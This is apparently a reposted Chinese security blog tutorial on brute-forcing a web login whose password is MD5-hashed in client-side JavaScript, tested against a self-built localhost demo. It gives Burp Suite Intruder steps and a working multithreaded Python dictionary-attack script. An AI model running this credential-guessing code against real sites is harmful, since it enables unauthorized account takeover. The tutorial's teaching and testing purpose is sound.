zoukankan      html  css  js  c++  java
  • Web暴力破解--前端JS表单加密进行爆破(burpsuite)

    Web暴力破解--前端JS表单加密进行爆破

     

     0x01 前言

      常见的js实现加密的方式有:md5、base64、shal,写了一个简单的demo作为测试。

    0x02 代码

    login.html

    <!DOCTYPE HTML>  
    <html>  
    <head>  
    <meta charset="utf-8">  
    <title>用户登录</title>  
    <script type="text/ecmascript" src="md5.js"></script>
    <script>
    function checkInput() {
        var password_input = document.getElementById('password');
        var password_md5 = document.getElementById('password_md5');
        // set password
        password_md5.value =hex_md5(password_input.value);
        return true;
    }
    </script>
    </head> 
    <body>  
    <form action="login.php" method="post" onsubmit="return checkInput()">
        用户:<input type="text" id="username" name="username"> <br/>
        密码:<input type="password" id="password"> <br/>
        <input type="hidden" id="password_md5" name="password">
        <input type="submit" value="提交" />
    </form>
    </body>  
    </html>  

    提交表单,进行抓包,可以发现密码字段密码进行了加密处理:

     0x03 Web暴力猜解

    方式一:Burp Suite

      使用Intruder进行暴力猜解,Intruder支持多种爆破模式、加密和编码支持。常见的md5、base64、shal加密方式,都可以用burpsuite直接处理。

      四种爆破方式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。

      最常用的应该是在爆破用户名和密码的时候,使用聚合方式枚举了。

    1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”

    2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理

    3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值   admin:21232f297a57a5a743894a0e4a801fc3

    4、md5解密成功,获得用户名密码 admin/admin

     方式二:Python脚本

      这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密

    准备:

    pip install PyExecJS

    phantomjs下载:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip

    编写Python脚本进行爆破:

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    
    import requests
    import threadpool
    from selenium import webdriver
    import execjs
    
    def getpass(str):
        with open ('md5.js','r') as js:
            source = js.read()
            phantom = execjs.get('PhantomJS')
            getpass = phantom.compile(source)
            password = getpass.call('hex_md5',str)
            return password
    
    def login(user,passwd):
        url="http://127.0.0.1/login.php"
        payload ={'username':user,'password':getpass(passwd)}
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
        try:        
            response = requests.post(url,data=payload,headers=headers,timeout=5)
            result=response.content
            if result.count('fail')<1: 
                print '[success] ' +url+":"+user+':'+passwd
    
        except:
            pass
            
    def getLines(fileName):
        list=[]
        with open(fileName, 'r') as fd:
            for line in fd.readlines():
                line = line.strip()
                if not len(line) or line.startswith('#'):
                    continue
                list.append(line)
        return list
    
    if __name__ == '__main__':    
        username_list=getLines('user.dict')
        password_list=getLines('pass.dict')
    
        userlist = [([user,passwd],None) for user in username_list for passwd in password_list]    
        
        pool = threadpool.ThreadPool(20)  
        reqs = threadpool.makeRequests(login,userlist)  
        [pool.putRequest(req) for req in reqs]  
        pool.wait()

     成功爆破用户账号密码

    0x04 END

       从前台到后台是一个质的突破,本文主要对很多web 在登陆的过程中会用 js 对密码进行加密传输,梳理了一下web暴力猜解的技巧。

      关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

    参考链接:

    JS实现密码加密

    http://www.cnblogs.com/mofish/archive/2012/02/25/2367858.html

    js实现表单提交submit(),onsubmit

    https://www.cnblogs.com/web-wjg/p/7894657.html

    对登录中账号密码进行加密之后再传输的爆破的思路和方式

    http://www.freebuf.com/articles/web/127888.html

  • 相关阅读:
    .Net Intelligencia.UrlRewriter 重定向参数中文支持配置方法
    Debian 9 vsftpd: version 3.0.3 配置
    Debian 静态网络配置
    iptables常用配置
    Debian防御DDOS(简易版本)
    Debian9+PHP7+MySQL+Apache2配置Thinkphp运行环境LAMP
    Discuz3.3注册程序修改添加记录推荐人账号
    .NetCore WPF 指定一个相对路径的图片,报错“找不到资源”
    C语言的unsigned做双目运算符的奇怪问题
    关于人脸识别的视频图片处理
  • 原文地址:https://www.cnblogs.com/bonelee/p/12496910.html
Copyright © 2011-2022 走看看